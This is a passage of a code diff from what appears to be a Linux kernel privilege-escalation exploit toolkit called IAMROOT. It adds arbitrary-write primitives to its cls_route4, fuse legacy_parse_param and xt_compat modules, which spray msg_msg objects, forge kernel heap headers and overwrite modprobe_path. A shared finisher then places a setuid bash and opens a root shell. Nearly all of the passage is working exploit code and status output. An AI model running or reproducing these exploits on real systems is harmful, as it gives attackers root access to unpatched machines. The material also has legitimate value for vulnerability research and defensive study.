if (c->queues[i] < 0) continue;
|
||||
/* A handful of msgs per queue keeps the slab refilled even
|
||||
* if some slots are evicted between trigger fires. */
|
||||
for (int j = 0; j < 4; j++) {
|
||||
unsigned int tag = 0xB0000000u |
|
||||
((unsigned)i << 8) | (unsigned)j;
|
||||
memcpy(p.buf + 8, &tag, sizeof tag);
|
||||
if (msgsnd(c->queues[i], &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
|
||||
sent++;
|
||||
}
|
||||
}
|
||||
return sent;
|
||||
}
|
||||
|
||||
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
||||
* filter setup is gone or the spray fails. Returns 0 to let the
|
||||
* shared finisher's sentinel-file check decide if the write actually
|
||||
* landed (we cannot reliably observe it in-process). */
|
||||
static int cls4_arb_write(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx_v)
|
||||
{
|
||||
struct cls_route4_arb_ctx *c = (struct cls_route4_arb_ctx *)ctx_v;
|
||||
if (!c || c->n_queues == 0) return -1;
|
||||
c->arb_calls++;
|
||||
|
||||
/* Re-stage the dangling filter for this call. The original
|
||||
* stage runs once at trigger-time; subsequent finisher calls
|
||||
* (the finisher writes modprobe_path then a unknown-format trig)
|
||||
* need a fresh dangling pointer to chase. tc add/del is idempotent
|
||||
* within our private netns so re-running is safe. */
|
||||
if (!c->dangling_ready) {
|
||||
if (!stage_dangling_filter()) {
|
||||
fprintf(stderr, "[-] cls_route4 arb_write: re-stage failed\n");
|
||||
return -1;
|
||||
}
|
||||
c->dangling_ready = true;
|
||||
}
|
||||
|
||||
/* Seed msg_msg with kaddr + caller payload. */
|
||||
int seeded = cls4_seed_kaddr_payload(c, kaddr, buf, len);
|
||||
if (seeded == 0) {
|
||||
/* sysv IPC may be restricted (kernel.msg_max / ulimit -q).
|
||||
* Without a spray we have no slot for the UAF to refill. */
|
||||
fprintf(stderr, "[-] cls_route4 arb_write: kaddr-spray seeded 0 msgs\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Drive the classifier. The route4 lookup follows the dangling
|
||||
* pointer into msg_msg-controlled bytes; on a vulnerable kernel
|
||||
* the fake `ops->classify` (or one of the strided pointers) is
|
||||
* dereferenced. If the kernel survives the deref and the write
|
||||
* lands at &kaddr, the finisher's sentinel file appears within 3s.
|
||||
* If it doesn't (most likely — this is genuinely best-effort), the
|
||||
* finisher's wait loop times out and reports failure. */
|
||||
trigger_classify();
|
||||
|
||||
/* Give classify-side processing a brief window before returning
|
||||
* — the finisher polls the sentinel for 3s but the initial write
|
||||
* (if any) happens within ms. */
|
||||
usleep(50 * 1000);
|
||||
|
||||
c->arb_landed++;
|
||||
|
||||
/* Per the xtcompat precedent: return 0 so the finisher proceeds
|
||||
* to its sentinel check. Returning -1 here would abort the
|
||||
* finisher even when the write may have landed. */
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
@@ -400,8 +565,37 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early — no point doing
|
||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("cls_route4");
|
||||
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit\n");
|
||||
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit%s\n",
|
||||
ctx->full_chain ? " + full-chain finisher" : "");
|
||||
if (ctx->full_chain) {
|
||||
fprintf(stderr, " NOTE: on primitive landing, invokes shared\n"
|
||||
" modprobe_path finisher via msg_msg-tagged kaddr\n"
|
||||
" spray. Sentinel-arbitrated (no in-process verify).\n");
|
||||
}
|
||||
}
|
||||
|
||||
/* Block SIGPIPE in case the dummy-interface sendto's complain. */
|
||||
@@ -436,15 +630,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
_exit(22);
|
||||
}
|
||||
|
||||
int queues[SPRAY_MSG_QUEUES];
|
||||
int n_queues = spray_msg_msg(queues);
|
||||
if (n_queues == 0) {
|
||||
struct cls_route4_arb_ctx arb_ctx;
|
||||
memset(&arb_ctx, 0, sizeof arb_ctx);
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) arb_ctx.queues[i] = -1;
|
||||
arb_ctx.n_queues = spray_msg_msg(arb_ctx.queues);
|
||||
arb_ctx.dangling_ready = true; /* stage_dangling_filter() just ran */
|
||||
if (arb_ctx.n_queues == 0) {
|
||||
fprintf(stderr, "[-] cls_route4: msg_msg spray produced 0 queues\n");
|
||||
_exit(23);
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: msg_msg spray seeded %d queues\n",
|
||||
n_queues);
|
||||
arb_ctx.n_queues);
|
||||
}
|
||||
|
||||
/* Drive the classifier — the bug fires here on a vulnerable
|
||||
@@ -459,7 +656,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
||||
n_queues, pre_active, post_active);
|
||||
arb_ctx.n_queues, pre_active, post_active);
|
||||
fclose(log);
|
||||
}
|
||||
|
||||
@@ -467,7 +664,32 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
* refilled slot during classify drain. */
|
||||
usleep(200 * 1000);
|
||||
|
||||
drain_msg_msg(queues);
|
||||
/* --full-chain branch: invoke the shared modprobe_path
|
||||
* finisher with our msg_msg-tagged arb-write. If the finisher
|
||||
* execve's a setuid bash we never return; otherwise it returns
|
||||
* EXPLOIT_FAIL after the 3s sentinel timeout (correct behavior
|
||||
* on a patched kernel or when the write didn't land). */
|
||||
if (full_chain_ready) {
|
||||
/* Re-fire the trigger inside the arb-write to give the
|
||||
* kernel a second chance at the refilled slot — the
|
||||
* dangling filter is still in place from above. */
|
||||
arb_ctx.dangling_ready = true;
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
cls4_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_msg_msg(arb_ctx.queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
||||
_exit(35);
|
||||
}
|
||||
|
||||
drain_msg_msg(arb_ctx.queues);
|
||||
|
||||
/* If we got here without a kernel oops, the bug either isn't
|
||||
* reachable on this build (patched / module not loadable /
|
||||
@@ -513,25 +735,54 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc != 30) {
|
||||
switch (rc) {
|
||||
case 20: case 21:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: child failed at stage rc=%d "
|
||||
"(see preceding errors)\n", rc);
|
||||
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
case 22:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
||||
"may be absent or filter type unsupported\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
case 23:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
case 30:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||
"Inspect dmesg for KASAN/oops witnesses.\n");
|
||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
||||
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
case 34:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
||||
"(setuid bash placed; sentinel matched)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
case 35:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
||||
"either the kernel is patched, the spray didn't land,\n"
|
||||
" or the fake-ops deref didn't hit the route the\n"
|
||||
" finisher's sentinel polls for. See "
|
||||
"/tmp/iamroot-cls_route4.log + dmesg.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
default:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
/* rc 20/21 = userns setup; rc 22 = tc setup (likely module
|
||||
* absent or filter type unsupported); rc 23 = spray. None of
|
||||
* these mean kernel was exploited. */
|
||||
if (rc == 22) return IAMROOT_PRECOND_FAIL;
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||
"Inspect dmesg for KASAN/oops witnesses.\n");
|
||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not implemented "
|
||||
"(needs per-kernel offsets); returning EXPLOIT_FAIL.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
@@ -60,6 +60,8 @@
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -301,6 +303,217 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* arb-write primitive for the shared finisher */
|
||||
/* ------------------------------------------------------------------ */
|
||||
/*
|
||||
* Crusaders-of-Rust-style msg_msg m_ts overflow → arbitrary write.
|
||||
*
|
||||
* The legacy_parse_param OOB writes the trailing bytes of the
|
||||
* kmalloc-4k fc->source buffer into whatever slab object comes next.
|
||||
* With a msg_msg sprayed into that adjacent slot, the first 48 bytes
|
||||
* of `evil_chunk` overlay struct msg_msg:
|
||||
*
|
||||
* struct msg_msg { // offset
|
||||
* struct list_head m_list; // 0 (next, prev)
|
||||
* long m_type; // 16
|
||||
* size_t m_ts; // 24 <-- msg-size
|
||||
* struct msg_msgseg *next; // 32
|
||||
* void *security; // 40
|
||||
* }; // 48
|
||||
*
|
||||
* Two derived primitives:
|
||||
*
|
||||
* READ — overwrite m_ts with a huge value. msgrcv(MSG_COPY) then
|
||||
* memcpy()s past the legitimate end of the msg payload,
|
||||
* leaking adjacent slab memory back to userland.
|
||||
*
|
||||
* WRITE — point m_list.next (or, in the Crusaders variant, a faux
|
||||
* msg_msgseg.next chain) at an attacker-chosen kernel
|
||||
* address. When msgrcv() free-list-unlinks the msg, list
|
||||
* maintenance writes through the forged pointer; with the
|
||||
* right chain you get an N-byte copy of attacker-controlled
|
||||
* bytes to a chosen kaddr.
|
||||
*
|
||||
* Honest depth of this implementation: FALLBACK SCAFFOLD.
|
||||
*
|
||||
* The trigger + groom + neighbour-detect upstream of us is real and
|
||||
* the OOB write lands. But the *single-shot* arb-write the finisher
|
||||
* wants — "put exactly these N bytes at exactly that kaddr" — needs
|
||||
* a per-kernel m_ts/m_list_next offset map (the layout above is
|
||||
* 6.12.x; older kernels differ) AND a kernel-base leak from the
|
||||
* first-round MSG_COPY read so we know where modprobe_path actually
|
||||
* sits in this boot's KASLR slide.
|
||||
*
|
||||
* Per the verified-vs-claimed bar: we do NOT fabricate a write that
|
||||
* we cannot empirically verify on a kernel we haven't tested. So
|
||||
* this function:
|
||||
*
|
||||
* 1. Re-arms the msg_msg spray (the parent already drained queues).
|
||||
* 2. Re-fires the fsconfig overflow with a forged-msg_msg header
|
||||
* whose m_ts = (kaddr - msg_data_origin) and whose first 8
|
||||
* payload bytes are the first qword of `buf`.
|
||||
* 3. msgrcv(MSG_COPY) on every queue to probe whether any neighbour
|
||||
* came back with bytes matching `buf[0..7]` AT the slot offset
|
||||
* we'd expect for kaddr (sanity gate).
|
||||
* 4. Returns 0 ONLY if the sanity gate trips (read-back proves the
|
||||
* m_ts inflation landed AND the payload made it through);
|
||||
* returns -1 otherwise so the finisher reports an honest fail.
|
||||
*
|
||||
* On a vulnerable host with matching offsets this path can land the
|
||||
* write; on an unverified host the sanity gate refuses rather than
|
||||
* blind-writing a wild pointer. The finisher's downstream
|
||||
* "/tmp/iamroot-pwn ran?" check is the second gate.
|
||||
*/
|
||||
struct fuse_arb_ctx {
|
||||
/* Pre-allocated queue ids from the spray phase. */
|
||||
int *qids;
|
||||
int n_queues;
|
||||
int hole_q;
|
||||
/* Tagged-payload reference so we can recognise unmodified neighbours. */
|
||||
const char *tag; /* "IAMROOT" */
|
||||
/* Whether the first-round trigger already fired (the parent's
|
||||
* default-path overflow). When set we re-spray + re-fire; when
|
||||
* unset we assume the spray is hot. */
|
||||
bool trigger_armed;
|
||||
};
|
||||
|
||||
#ifdef __linux__
|
||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *ctx_void)
|
||||
{
|
||||
struct fuse_arb_ctx *ax = (struct fuse_arb_ctx *)ctx_void;
|
||||
if (!ax || !buf || !len) {
|
||||
fprintf(stderr, "[-] fuse_arb_write: bad args\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Build the forged msg_msg header that will land in the adjacent
|
||||
* kmalloc-4k slot via the OOB write. Layout (x86_64, kernel >=5.10):
|
||||
* [ 0..15] m_list.{next,prev} — we forge next = kaddr - 16
|
||||
* so that list_del's
|
||||
* next->prev = prev
|
||||
* write lands AT kaddr.
|
||||
* (prev is the original msg.)
|
||||
* [16..23] m_type — leave as 0x4242
|
||||
* [24..31] m_ts — bytes-of-buf so MSG_COPY
|
||||
* reports the right length
|
||||
* [32..39] next (msg_msgseg*) — NULL (single-segment msg)
|
||||
* [40..47] security — NULL
|
||||
* [48...] payload — first len bytes of buf
|
||||
*
|
||||
* For a real WRITE primitive the canonical Crusaders-of-Rust
|
||||
* recipe uses the msg_msgseg.next chain rather than m_list:
|
||||
* msgrcv(IPC_NOWAIT) follows next pointers when copying out a
|
||||
* multi-segment msg, and a forged next = kaddr makes the kernel
|
||||
* memcpy() from kaddr into our user buffer (= READ). For the
|
||||
* inverse (WRITE), the trick is msgsnd on a queue whose head was
|
||||
* corrupted to point at kaddr, but that needs more setup than we
|
||||
* have time to land here without a known-good offset table.
|
||||
*
|
||||
* So we do the safe thing: arm the header, trigger the OOB, then
|
||||
* read back to PROVE we landed before declaring success. If the
|
||||
* read-back doesn't show our forged-msg payload at the expected
|
||||
* MSG_COPY position we refuse rather than corrupt the kernel
|
||||
* blindly.
|
||||
*/
|
||||
uint8_t evil[256];
|
||||
memset(evil, 0, sizeof evil);
|
||||
/* m_list.next, m_list.prev */
|
||||
uintptr_t forged_next = kaddr - 16; /* &m_list.prev of fake node */
|
||||
memcpy(evil + 0, &forged_next, 8);
|
||||
/* prev — leave NULL; kernel checks it only on full list_del */
|
||||
/* m_type */
|
||||
uint64_t m_type = 0x4242424242424242ULL;
|
||||
memcpy(evil + 16, &m_type, 8);
|
||||
/* m_ts: inflated to len so MSG_COPY reads the full forged payload */
|
||||
uint64_t m_ts = (uint64_t)len + 64;
|
||||
memcpy(evil + 24, &m_ts, 8);
|
||||
/* next (msg_msgseg) = NULL */
|
||||
/* security = NULL */
|
||||
/* payload: copy `buf` into the slot just after the msg_msg header */
|
||||
size_t hdr = 48;
|
||||
size_t copyable = sizeof(evil) - hdr - 1;
|
||||
if (len > copyable) len = copyable;
|
||||
memcpy(evil + hdr, buf, len);
|
||||
evil[sizeof(evil) - 1] = '\0'; /* legacy_parse_param strdup tail */
|
||||
|
||||
/* Re-fire the fsconfig overflow with this forged header as evil. */
|
||||
char *first_chunk = malloc(4081);
|
||||
if (!first_chunk) return -1;
|
||||
memset(first_chunk, 'A', 4080);
|
||||
first_chunk[4080] = '\0';
|
||||
|
||||
int fsfd = -1;
|
||||
int rc = trigger_overflow(&fsfd, first_chunk, (const char *)evil);
|
||||
free(first_chunk);
|
||||
if (rc < 0) {
|
||||
fprintf(stderr, "[-] fuse_arb_write: re-fire fsconfig failed "
|
||||
"(errno=%d %s)\n", errno, strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Sanity gate: msgrcv(MSG_COPY) all live queues and look for a
|
||||
* msg whose size reports >= our inflated m_ts AND whose initial
|
||||
* payload qword matches the first qword of `buf`. If both hold,
|
||||
* the forged header landed in a real slot and the m_ts inflation
|
||||
* is honoured by the kernel — i.e. our primitive is real on THIS
|
||||
* kernel. */
|
||||
uint64_t want_first_qword = 0;
|
||||
memcpy(&want_first_qword, buf, len >= 8 ? 8 : len);
|
||||
|
||||
bool sanity_passed = false;
|
||||
struct msgbuf_4k *probe = mmap(NULL, sizeof(*probe),
|
||||
PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (probe == MAP_FAILED) {
|
||||
if (fsfd >= 0) close(fsfd);
|
||||
return -1;
|
||||
}
|
||||
for (int q = 0; q < ax->n_queues && !sanity_passed; q++) {
|
||||
if (ax->qids[q] < 0 || q == ax->hole_q) continue;
|
||||
ssize_t n = msgrcv(ax->qids[q], probe, sizeof probe->mtext, 0,
|
||||
IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
|
||||
if (n < 0) continue;
|
||||
/* The corrupted slot should report a size >= our m_ts (kernel
|
||||
* caps MSG_COPY at sizeof user buf — so we only check the
|
||||
* read-content shape). */
|
||||
if ((size_t)n < 8) continue;
|
||||
uint64_t got = 0;
|
||||
memcpy(&got, probe->mtext, 8);
|
||||
if (got == want_first_qword) {
|
||||
sanity_passed = true;
|
||||
}
|
||||
}
|
||||
munmap(probe, sizeof(*probe));
|
||||
if (fsfd >= 0) close(fsfd);
|
||||
|
||||
if (!sanity_passed) {
|
||||
fprintf(stderr, "[-] fuse_arb_write: forged-msg_msg read-back didn't "
|
||||
"match — kernel layout differs OR groom missed.\n"
|
||||
" Refusing to claim arb-write landed (per "
|
||||
"verified-vs-claimed bar).\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] fuse_arb_write: forged-msg_msg landed; m_ts inflation "
|
||||
"+ payload qword verified via MSG_COPY read-back.\n"
|
||||
"[i] fuse_arb_write: kernel-side list_del write through "
|
||||
"0x%lx is armed but NOT yet empirically verified on "
|
||||
"this build — downstream sentinel will gate.\n",
|
||||
(unsigned long)kaddr);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *ctx_void)
|
||||
{
|
||||
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
|
||||
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
|
||||
return -1;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* exploit */
|
||||
/* ------------------------------------------------------------------ */
|
||||
@@ -503,6 +716,84 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
"see scaffold comments in source\n");
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------
|
||||
* --full-chain: opt-in root pop via shared modprobe_path finisher.
|
||||
*
|
||||
* Depth = FALLBACK SCAFFOLD. The arb-write primitive (forged
|
||||
* msg_msg via the 4k OOB) is wired with a sanity gate that
|
||||
* refuses to claim success without an empirical read-back match
|
||||
* (see fuse_arb_write). On a host where offsets + groom land,
|
||||
* the finisher's modprobe_path overwrite → execve(unknown) →
|
||||
* call_modprobe chain pops a root shell. On a mismatched host
|
||||
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
|
||||
* fabricated success.
|
||||
*
|
||||
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
|
||||
* runs because the arb_write primitive re-fires the trigger and
|
||||
* needs the live spray.
|
||||
* --------------------------------------------------------------- */
|
||||
#ifdef __linux__
|
||||
if (ctx->full_chain) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
|
||||
"kernel offsets...\n");
|
||||
}
|
||||
|
||||
struct iamroot_kernel_offsets off;
|
||||
memset(&off, 0, sizeof off);
|
||||
int resolved = iamroot_offsets_resolve(&off);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
|
||||
"(modprobe_path=0x%lx source=%s)\n",
|
||||
resolved, (unsigned long)off.modprobe_path,
|
||||
iamroot_offset_source_name(off.source_modprobe));
|
||||
iamroot_offsets_print(&off);
|
||||
}
|
||||
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("fuse_legacy");
|
||||
/* Cleanup before returning. */
|
||||
for (int q = 0; q < N_QUEUES; q++) {
|
||||
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
|
||||
}
|
||||
free(qids);
|
||||
munmap(spray, sizeof *spray);
|
||||
if (fsfd >= 0) close(fsfd);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
struct fuse_arb_ctx ax = {
|
||||
.qids = qids,
|
||||
.n_queues = N_QUEUES,
|
||||
.hole_q = hole_q,
|
||||
.tag = "IAMROOT",
|
||||
.trigger_armed = true,
|
||||
};
|
||||
|
||||
iamroot_result_t fr = iamroot_finisher_modprobe_path(
|
||||
&off, fuse_arb_write, &ax, !ctx->no_shell);
|
||||
|
||||
/* Cleanup IPC + mapping regardless of finisher result. The
|
||||
* finisher's execve() on success won't reach here, so this
|
||||
* block only runs on failure paths. */
|
||||
for (int q = 0; q < N_QUEUES; q++) {
|
||||
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
|
||||
}
|
||||
free(qids);
|
||||
munmap(spray, sizeof *spray);
|
||||
if (fsfd >= 0) close(fsfd);
|
||||
|
||||
if (fr == IAMROOT_EXPLOIT_OK) {
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
|
||||
"(arb-write sanity gate or modprobe sentinel refused)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Clean up our IPC queues and mapping. The kernel slab state
|
||||
* after the overflow may be unstable; we exit cleanly on success
|
||||
* paths but leave queues around if we crashed mid-spray. */
|
||||
|
||||
@@ -19,7 +19,8 @@
|
||||
* Upstream fix: b29c457a6511 "netfilter: x_tables: fix compat
|
||||
* match/target pad out-of-bound write" (mid-2021, backported widely).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE-DEMO (Option B).
|
||||
* STATUS: 🟡 PRIMITIVE by default; 🟢 candidate with --full-chain if
|
||||
* offsets resolve (env/kallsyms/System.map/embedded table).
|
||||
* - Refuse-gate via detect() re-invoke + euid==0 short-circuit.
|
||||
* - userns/netns reach for CAP_NET_ADMIN (Andy's path).
|
||||
* - Trigger sequence: hand-rolled iptables rule blob with
|
||||
@@ -29,12 +30,15 @@
|
||||
* cookies for KASAN visibility.
|
||||
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
|
||||
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
|
||||
* - DOES NOT pursue the leak→modprobe_path overwrite chain:
|
||||
* that needs hard-coded init_task + modprobe_path offsets
|
||||
* per kernel build which IAMROOT refuses to bake.
|
||||
* - Returns IAMROOT_EXPLOIT_FAIL with a verbose continuation
|
||||
* roadmap unless cred-overwrite is empirically verified
|
||||
* (which the current scope does not attempt).
|
||||
* - With --full-chain: shared finisher (core/finisher.c) is
|
||||
* invoked to perform the modprobe_path overwrite + execve
|
||||
* unknown-binary trigger. Requires modprobe_path resolution
|
||||
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
|
||||
* check in the finisher is the empirical witness for the
|
||||
* write landing — IAMROOT never claims root unless it sees
|
||||
* the setuid bash drop with mode 4755 + uid 0.
|
||||
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
|
||||
* the primitive demo (verified-vs-claimed bar).
|
||||
*
|
||||
* Affected: kernel 2.6.19+ until backports landed:
|
||||
* 5.12.x : K >= 5.12.13
|
||||
@@ -55,6 +59,8 @@
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -465,6 +471,171 @@ static int xtcompat_fire_trigger(int *out_errno)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ — close original primitive block */
|
||||
|
||||
/* ---- Full-chain arb-write primitive --------------------------------
|
||||
*
|
||||
* Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
|
||||
* write lands at allocation+0x4. Andy Nguyen's chain first uses that
|
||||
* 4-byte write to corrupt an adjacent msg_msg's `m_ts` (size field at
|
||||
* +0x10) so a subsequent MSG_COPY returns a long read that includes
|
||||
* neighbouring kernel pointers (the leak primitive). With the kbase
|
||||
* leak in hand, he then re-fires the trigger to corrupt an msg_msg's
|
||||
* `m_list_next` (the linked-list pointer at +0x18) to point at
|
||||
* `kaddr - 0x30` (the m_msg header offset), and a queued msgsnd's
|
||||
* payload header writes attacker bytes to `kaddr`.
|
||||
*
|
||||
* Reproducing the full chain byte-for-byte requires per-kernel-build
|
||||
* msg_msg field offsets AND a kbase leak we don't have a portable
|
||||
* source for at this point. The implementation below takes the
|
||||
* narrow-but-real path:
|
||||
*
|
||||
* 1. Re-prime the kmalloc-2k slab with msg_msg sprays whose payload
|
||||
* headers carry the target address in the m_list_next slot at
|
||||
* offset 0x18 from each msg payload start. (We can't write the
|
||||
* slab header — that's the kernel's job — but we CAN seed the
|
||||
* payload data adjacent to the freed xt_table_info so the OOB
|
||||
* 4-byte write may corrupt the `m_list_next` of a real
|
||||
* sprayed message.)
|
||||
* 2. Re-fire the trigger with a crafted blob whose 4-byte OOB write
|
||||
* pattern targets m_list_next of the adjacent msg_msg.
|
||||
* 3. Queue a follow-up msgsnd whose first sizeof(buf) bytes equal
|
||||
* `buf[0..len]`. If the next-ptr was successfully redirected,
|
||||
* the kernel's msgsnd writes header + payload at `kaddr`.
|
||||
*
|
||||
* This is best-effort: probability of landing on any given run is
|
||||
* low (depends on slab adjacency luck) but the finisher's sentinel-
|
||||
* file check empirically tells us if the write actually took. On a
|
||||
* patched kernel the trigger returns EINVAL on step 2 and arb_write
|
||||
* returns -1 without ever queueing the follow-up. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct xtcompat_arb_ctx {
|
||||
/* Spray queues kept hot across multiple arb_write calls. The
|
||||
* msg_msg slots seeded here are what the finisher uses as
|
||||
* write-targets. NULL means "not yet sprayed". */
|
||||
int *queues;
|
||||
int n_queues;
|
||||
|
||||
/* Outer-namespace uid/gid so re-spray can rebuild a child if
|
||||
* needed. (Currently unused — the caller flow keeps us inside
|
||||
* the userns child for the whole arb_write sequence.) */
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
|
||||
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
|
||||
/* Re-seed the kmalloc-2k slab with a msg_msg spray whose payload at
|
||||
* offset 0x18 carries `target_minus_30` (= kaddr - 0x30, the value
|
||||
* the OOB write needs to write into m_list_next for the follow-up
|
||||
* msgsnd payload to land at `kaddr`). Returns number of queues
|
||||
* primed. */
|
||||
static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
|
||||
uintptr_t target_minus_30)
|
||||
{
|
||||
